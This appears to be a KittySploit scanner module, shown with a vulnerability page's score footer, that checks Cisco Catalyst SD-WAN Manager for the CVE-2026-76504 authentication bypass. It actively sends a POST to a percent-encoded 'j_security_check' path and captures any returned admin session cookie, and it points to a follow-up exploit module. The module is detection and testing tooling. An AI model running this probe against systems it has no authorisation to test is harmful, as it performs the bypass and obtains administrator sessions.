Cisco SD-WAN CVE-2026-76504 Detect
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Detect Cisco Catalyst SD-WAN Manager CVE-2026-76504 auth bypass surface."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Cisco SD-WAN CVE-2026-76504 Detect',
'description': (
'Detects CVE-2026-76504 on Cisco Catalyst SD-WAN Manager (vManage): '
'percent-encoded j_security_check path bypasses authentication rules and '
'returns an admin-level session cookie.'
),
'author': ['KittySploit Team'],
'severity': 'critical',
'cve': ['CVE-2026-76504'],
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2026-76504',
'https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-webauth-xr8beuuU',
],
'tags': ['web', 'scanner', 'cisco', 'sd-wan', 'vmanage', 'auth-bypass', 'kev'],
'agent': {
'risk': 'active',
'effects': ['network_probe', 'active_exploitation'],
'expected_requests': 3,
'reversible': True,
'approval_required': True,
'produces': ['tech_hints', 'risk_signals'],
'chain': {
'suggested_followups': [
'exploits/multi/http/cisco_sdwan_cve_2026_76504_auth_bypass',
'scanner/http/cisco_sd_wan_detect',
],
},
},
}
login_path = OptString(
'/%6a_security_check',
'Encoded j_security_check login path (%6a = j)',
required=False,
advanced=True,
)
def _sdwan_present(self) -> bool:
for path in ('/login', '/', '/app/login'):
r = self.http_request(method='GET', path=path, allow_redirects=True)
if not r:
continue
blob = f'{r.text or ""}\n{r.headers}'.lower()
if any(token in blob for token in ('sd-wan', 'sdwan', 'vmanage', 'cisco catalyst')):
return True
return False
def _probe_bypass(self) -> tuple[bool, str]:
path = str(self.login_path or '/%6a_security_check')
data = {
'j_username': 'kittysploit-probe',
'j_password': 'kittysploit-probe',
}
r = self.http_request(
method='POST',
path=path,
headers={'Content-Type': 'application/x-www-form-urlencoded'},
data=data,
allow_redirects=False,
)
if not r:
return False, ''
cookies = str(r.headers.get('Set-Cookie') or '')
session = ''
for token in ('JSESSIONID', 'session', 'vManage'):
if token.lower() in cookies.lower():
session = cookies
break
ok = int(r.status_code or 0) in (200, 302) and bool(session)
if not ok and int(r.status_code or 0) in (200, 302):
ok = 'dashboard' in (r.headers.get('Location') or '').lower()
return ok, session[:120]
def run(self):
if not self._sdwan_present():
return False
ok, session = self._probe_bypass()
if ok:
self.set_info(
severity='critical',
cve='CVE-2026-76504',
reason='Encoded j_security_check returned authenticated session indicators',
cookie_hint=session or 'present',
)
return True
self.set_info(
severity='high',
cve='CVE-2026-76504',
reason='Cisco SD-WAN Manager detected — auth bypass not confirmed',
)
return True
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05 Oct 2026 14:20Current
8.9High risk
Vulners AI Score8.9
CVSS 3.19.8
EPSS0.01819
SSVC